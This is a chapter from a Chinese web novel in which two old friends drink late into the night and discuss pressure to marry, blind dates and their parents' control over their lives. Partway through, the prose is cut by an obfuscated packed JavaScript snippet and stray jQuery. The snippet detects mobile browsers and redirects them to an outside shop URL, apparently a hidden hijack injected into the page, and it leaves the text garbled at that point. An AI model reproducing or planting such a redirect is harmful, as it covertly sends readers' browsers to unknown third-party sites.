默认冷灰
24号文字
方正启体

5. 铁签烤肉,还有冰啤酒3

作者:我是宝的贝儿本书字数:K更新时间:
    夏轻每次回来遇到熟人旧友、街坊邻居,最关心的一定是她的人生大事。


    家里更不消讲,电话试探是常态,过年催婚是保留节目。


    以前有林奉当挂件,勉强能堵住悠悠之口,现在嘛……


    夏轻吃着嘎嘣脆的软骨串儿,假装不经意的问:“那个、咱们镇上的单身女青年,面临的形势——真有那么严重?”


    即便做足了思想准备,自认内核稳定强大,可最好的朋友在确定她的现状后,给她的第一条建议居然是找个挡箭牌?


    “朋友,你是辞职加分手,随便一条发生在淮安镇都按触犯天条算。”


    童晓冉瞟了没搞清楚状况的夏轻一眼,发出冰冷的哼笑。


    而在童总的世界里,最糟糕的事莫过于下酒菜还富裕,酒已经没了。


    拿起手机进外卖软件,果断下单。


    夏轻眼睁睁看她要了五件小麦果汁,外加红白葡萄酒各一箱,不禁抗议:“我外婆家可没有存酒服务。”


    买那么多,是准备长期蹭饭没错了。


    “咱外婆!”童晓冉死皮赖脸纠正,“你出厨艺我出酒,常喝常有!爱喝酒的女孩子运气不会太差!”


    夏轻说不过她,只好也拿出手机,点几样馋了很久的家乡小吃。


    后半夜。


    河对岸褪去了喧嚣,只剩下几道孤单单的人影。


    霓虹被夜色揉碎了洒在河面上,像坠落的天河,闪烁出世间百态的脆弱,抑或谁孤注一掷的勇敢?


    小镇安静了,人的心也沉淀下来。


    夏轻放松的呼吸,将脑袋里所有的念头和想法驱赶出去。


    望着流动的夜、温缓的水,感受轻柔的风。


    街角的小酒吧挂上“打烊”的牌子。


    员工们抬了桌椅到门口布置,点一堆烧烤当宵夜,冰啤酒管够。


    老板抱着木吉他坐到高脚凳上,自弹自唱起来——


    给岁月一些留白,也许有闲人去猜,


    旧人、旧事,哪个更值得偏爱?


    泛黄的昨日年代,褪色的时光站牌,


    千种、万种、又落入谁的心怀……


    “唱得真好。”


    夏轻托着脸颊,陶醉在嗓音干净的歌声里,感觉灵魂都被净化了。


    “那是菜市场张记生鲜家的老幺,比我们大两届,有一年校庆他抱着吉他独唱,当时你也说他唱得好,想起没?”童晓冉盯着河对岸说罢,突然坏笑,“他年初离的婚,家里正在积极给他找下家,有没有兴趣接触下?买一送二哦!”


    “什么买一送二?”


    “离婚了,两个孩子跟他。”


    可不是买一送二么!


    夏轻先是愣住,回过味来,瞠大的眼睛里充斥着对此修辞手法的惊呆。


    不知道该说是鬼才好,还是鬼畜……


    “这对象是非找不可吗?”


    她有点儿过不去了。


    “我要是有一句夸大,老天爷惩罚我生十个儿子!”


    童晓冉张口就是毒誓,剧毒无比。


    夏轻彻底无话可说。


    远处,一辆装满酒水的三蹦子开进小巷。


    凹凸不平的路面颠得小车吵吵闹闹,前头的车灯跟着摇摇晃晃。


    童晓冉站起来夸:“酒掌柜的车都是醉的,这叫什么——专业!”


    夏轻感叹:“很难想象你已经是六岁孩子的妈了。”


    “六岁怎么了?他就是六十岁也不能妨碍我陪你一醉方休!”


    “我谢谢你啊!”


    两个人拌着嘴下去开门。


    一通忙活,夏轻点的外卖也到了。


    童晓冉拿出一罐进口精酿,不顾形象的蹲在箱子前,仰头吨吨吨。


    夏轻关好门,回过头来看到她这副形容,没有多余的话,手机打开视频功能,对准目标,记录女酒鬼珍贵画面。


    童晓冉眯起眼问:“做什么?”


    “我结婚的时候放,给吃席的亲友们助个兴。”


    “既然如此,那我必须给你表演一个绝技!”


    童晓冉来劲儿了,满院子转悠着找个什么东西,还要求夏轻给她打光,开美颜滤镜。


    就在这个时候,章万玉屋里的灯忽地亮起。


    暖黄的灯盈满整个房间,从窗里渗出来,提亮了院子里的夜色。


    童晓冉像被抠了电池似的,僵在原地一动不动。


    夏轻也懵了,回来第一天就吵了婆的瞌睡?


    隔着年前才换的油砂玻璃,依稀看到章万玉坐起来,找到外衣披在肩上,被拉长的身影缓慢却有条不紊。


    没过多久,拐杖触地,发出的“笃——笃——笃——”的声响。


    出来了?


    童晓冉慌了,压着嗓子用气声问:“你婆有起床气吗?吵到她会不会挨揍啊?”


    在这条前进巷里,他们的父母辈,谁提起章万玉不心悦诚服的喊一声“章三嬢”?


    说一不二的强悍个性,有手段有能力,当然也有点子威望。


    童晓冉小时候也不是没被章婆婆收拾过。


    这会儿全都回忆起来了。


    夏轻见她那怂样,好气又好笑:“不是咱外婆吗?”


    童晓冉五官拧在一起,烦躁的冲她挥了下手。


    大难临头了,不兴开玩笑!


    笃笃笃的拐杖声越来越近,章万玉走到院子里,挑剔的看看夏轻,再看看不知打哪儿钻出来的童晓冉。


    表情是没有的,笑容更别奢望。


    夏轻跟童晓冉一并默了。


    章万玉用眼神压制了两人,不慌不忙的开口,问:“点了什么宵夜,有没有我的?”


    乖孙不打声招呼突然回来,弄得她翻来覆去睡不着,怪兴奋。


    夏轻反应过来,连忙布置吃的,童晓冉也不看手里拿着什么,只管递去献殷勤。


    章万玉有自己的主意,扫了一眼没来得及搬进厨房的几箱,点名喝红的。


    一小杯足够。


    “我要是年轻个十来岁,你们两个绑在一起都不是我的对手。”老太太要强,总能给自己的找补上。


    夏轻笑着附和,童晓冉直呼“外婆爽快人”。


    烤串吃着,小酒喝着,有童晓冉这个活宝在,听她数落奇葩同事都能笑得前仰后合。


    章万玉年纪大了,陪不动她们小年轻,吃好喝好,径自杵着拐杖回房睡去。


    童晓冉借着酒胆跑去门外贴着听了半响,听到老太太均长的鼾声,确定睡着了,高兴的跑回小院,逮着夏轻畅聊。


    小时候多快活啊,全是没心没肺的日子。


    春困夏乏,在课上打瞌睡可太美妙了。


    醒了就传个小纸条,写满了“中午吃啥”、“课间去操场溜达不”、“明早几点见”的废话。


    每个学期最怕的是考试,考砸了挨揍是常事,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351439|199612||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要是超常发挥了,就可以跟爸妈提要求了。


    真美妙!


    当然也会悄悄喜欢一个谁,发现对方随身携带自己讨厌的女明星的照片,瞬间下头。


    “大学一毕业,好日子就到了头。”


    喝酒的杯子小,童晓冉一口一杯。


    “公务员和编制,必须二选一。考研就算了,现在满大街的研究生,我爸妈直接帮我毙掉了这个选项。”


    想去大城市闯一闯的念头,也被强势的父母一并摁住、摁死了。


    “你知道我的,从小到大鬼主意多,真到重大抉择,哪次不是听爸妈的?”


    二战失败,家里托层层关系把她塞进银行。


    接着马不停蹄给她张罗对象。


    “24岁的我,每天只有两件事——上班和相亲。”


    童晓冉旧事重提,心里仍旧不是滋味。


    “要我说,相亲是最违反生物本能的事!”


    把两人的出身家世、相貌学历、工作前景,甚至父母健康,所有能够比较的,不能比较的,全部放在一起逐项对比,然后从中求取一个双方都能接受的数值。


    这太难了,真的太难了。


    童晓冉是乐天派,最开始很想得开的。


    相亲嘛,成不成另说,吃顿饭,多认识个朋友,没准对方有困难正想找门路贷款呢?


    “可是啊、一个月有二十天在同一家饭店,同一间包房,跟不同的男人吃饭,聊差不多的内容,这不奇怪吗?”


    童晓冉在最好的年纪,陷入了一个逻辑怪圈。


    可是环顾周围,好像大家都一样?


    工作、相亲,接受爸妈以“为你好”之名对你的一切安排。


    “他们管这叫、孝顺!那我可太笑了,笑死个人的、笑!”


    “好啦,你已经很厉害了。”


    夏轻不让她喝了,半哄半骗的拿走杯子,把人扶进卧室,给她换上自己的睡衣。


    童晓冉没有完全醉过去,全程挣扎。


    夏轻好不容易把她按老实,折回院子里收拾狼藉,又把一箱箱的酒搬进厨房,整齐堆放在角落里。


    回到卧室,刚躺下,还没完全放松的舒出一口气,身旁的童晓冉轻声道:“只能回来休息几天,一周吧,不能再多了。”


    夏轻以为她说梦话,侧脸去看,童晓冉睁着眼睛,望着洒在天花板上的月光。


    “为什么?”


    为什么只能在家呆一周?


    夏轻跟童晓冉不一样,母亲被一场意外带走,父亲是个没有心的,无所谓孝不孝。


    糟糕的亲情她都可以斩断,外人的眼光和言语,她压根不在乎。


    “我们是一样的。”


    童晓冉很笃定的看了夏轻一眼。


    “只要回到这里,就是一样的。”


    “工作好不好,工资高不高,都是次要的。”


    “只有结婚才是女人一辈子最大的成就。”


    “我也曾经风光过,哈哈哈!”


    “现在他们私底下议论我,只会说:童老六家姑娘三十不到就离了婚,自己带个孩子,以后可怎么办唷!”


    “我给爸妈换高档小区的电梯房,送儿子念双语学校,开宝马——他们全都选择性眼瞎,看不见,不知道,日常担心我以后没着落。”


    “夏轻,听我的,淮安配不上你。你要去北上广,去伦敦,去巴黎,去……最好最好的地方。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)